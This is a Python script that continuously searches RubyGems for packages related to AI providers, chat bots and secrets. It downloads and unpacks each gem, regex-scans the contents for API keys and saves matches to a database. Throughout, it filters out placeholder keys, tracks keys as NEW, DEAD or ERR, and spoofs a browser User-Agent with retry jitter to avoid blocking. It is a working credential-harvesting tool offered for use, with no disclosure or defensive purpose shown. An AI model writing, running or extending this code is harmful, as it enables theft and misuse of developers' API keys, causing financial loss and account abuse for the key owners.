"""ETERNAL rubygems hunt: search + .gem unpack (tar -> data.tar.gz -> members) + grep.""" import os KF_BASE = os.path.dirname(os.path.abspath(__file__)) os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True) import hashlib import io import json import re import sqlite3 import tarfile import time import random import urllib.parse import urllib.error import urllib.request DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data/keys.db") LOG = os.path.join(KF_BASE, "rubygems_eternal.log") UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "application/json"} QUERIES = [ "openai", "anthropic", "claude", "dashscope", "openrouter", "deepseek", "groq", "zhipu", "glm", "moonshot", "kimi", "together", "fireworks", "replicate", "nvidia", "siliconflow", "telegram bot", "llm", "ai sdk", "chatbot", "gpt", "agent", "voice", "tts", "embedding", "api key", "secret", "config env", "slack api", "discord bot", ] SCAN_EXT = (".rb", ".json", ".md", ".env", ".yml", ".yaml", ".txt", ".rake") from key_patterns import PATTERNS GARBAGE = ("xxxx", "your", "EXAMPLE", "example", "n0tr3al", "INSERT", "FAKE", "fake", "Fake", "test", "Test", "TEST", "demo", "Demo", "aaaa", "aBcDeF", "abcdef", "1234567890", "abcdefghij", "placehol", "changeme", "deadbeef", "fffffff", "0000000") def log(msg): line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n" print(line, flush=True) with open(LOG, "a", encoding="utf-8", errors="replace") as f: f.write(line) def db_add(cur, seen, key, prov, repo): if key in seen or any(g in key for g in GARBAGE) or len(key) < 28: return 0 seen.add(key) cur.execute( "INSERT INTO keys (hash, val, prov, status, found, repo) " "VALUES (?,?,?,?,?,?) " "ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo " "WHERE keys.status IN ('DEAD','ERR')", (hashlib.sha1(key.encode()).hexdigest()[:16], key, prov, "NEW", "rubygems", repo)) return 1 def _rubygems_fetch(url, timeout=30, max_retries=3, fallback_to_metadata=False): """Fetch URL with retries, jitter, and optional gems.json fallback on search 403.""" for attempt in range(max_retries): try: req = urllib.request.Request(url, headers=UA) req.add_header("Accept-Encoding", "identity") with urllib.request.urlopen(req, timeout=timeout) as r: return r.read() except urllib.error.HTTPError as e: if e.code == 403 and fallback_to_metadata and attempt == 0: alt_url = "https://rubygems.org/api/v1/gems.json" log(f" HTTP 403 on search, falling back to {alt_url}") try: req2 = urllib.request.Request(alt_url, headers=UA) req2.add_header("Accept-Encoding", "identity") with urllib.request.urlopen(req2, timeout=timeout) as r2: return r2.read() except Exception: log(f" metadata fallback also failed, continuing retry") delay = 5 + random.uniform(1, 3) time.sleep(delay) continue if e.code in (403, 429) or e.code >= 500: if attempt < max_retries - 1: delay = 5 * (2 ** attempt) + random.uniform(1, 3) log(f" HTTP {e.code}, retry {attempt+2}/{max_retries} in {delay:.0f}s") time.sleep(delay) continue log(f" HTTP {e.code} non-retryable") return None except Exception as e: log(f" fetch error: {str(e)[:60]}") if attempt < max_retries - 1: time.sleep(5 + random.uniform(1, 3)) continue return None return None def scan_tarball(url, cur, seen, pkg): n = 0 blob = _rubygems_fetch(url, timeout=40) if blob is None: log(f" gem {pkg} err: failed after retries") return 0 if len(blob) > 5_000_000: return 0 try: outer = tarfile.open(fileobj=io.BytesIO(blob), mode="r:") data_member = None for m in outer.getmembers(): if m.name == "data.tar.gz": data_member = m break if data_member is None: return 0 inner_blob = outer.extractfile(data_member).read() tf = tarfile.open(fileobj=io.BytesIO(inner_blob), mode="r:gz") members = tf.getmembers() except Exception as e: log(f" ungz {pkg} err: {str(e)[:50]}") return 0 for m in members: if m.size > 600_000: continue name = m.name.lower() if not name.endswith(SCAN_EXT): continue try: fdata = tf.extractfile(m) if fdata is None: continue data = fdata.read().decode(errors="replace") except Exception: continue for prov, rx in PATTERNS: for key in rx.findall(data): if isinstance(key, tuple): key = key[-1] hit = db_add(cur, seen, key, prov, f"gem:{pkg}") if hit: n += 1 log(f" + {prov} {key[:24]}... gem:{pkg}/{m.name}") return n def cycle(db, qi): cur = db.cursor() cur.execute("SELECT val FROM keys") seen = {r[0] for r in cur.fetchall()} total = 0 q = QUERIES[qi % len(QUERIES)] qi += 1 try: data = _rubygems_fetch( f"https://rubygems.org/api/v1/search.json?query={urllib.parse.quote(q)}", timeout=30, fallback_to_metadata=True) if data is None: log(f"rubygems fetch failed for {q!r}; sleeping 5min") db.commit() time.sleep(300) return total, qi gems = json.loads(data) log(f"query {q!r}: {len(gems)} gems") for item in gems[:25]: name = item.get("name", "") ver = item.get("version", "") if not name or not ver: continue dl = f"https://rubygems.org/downloads/{name}-{ver}.gem" try: total += scan_tarball(dl, cur, seen, name) except Exception as e: log(f" gem {name} err: {str(e)[:40]}") time.sleep(random.uniform(3, 5)) except urllib.error.HTTPError as e: log(f"rubygems HTTP {e.code} for {q!r}; sleeping 5min") db.commit() time.sleep(300) except Exception as e: log(f"cycle err: {str(e)[:80]}") db.commit() return total, qi def main(): log(f"=== rubygems eternal START pid={__import__('os').getpid()} ===") db = sqlite3.connect(DB, timeout=120, check_same_thread=False, isolation_level=None) qi = 0 while True: try: n, qi = cycle(db, qi) log(f"CYCLE done: +{n}; resting 3min") except Exception as e: log(f"cycle error (continuing): {e}") time.sleep(180) if __name__ == "__main__": main()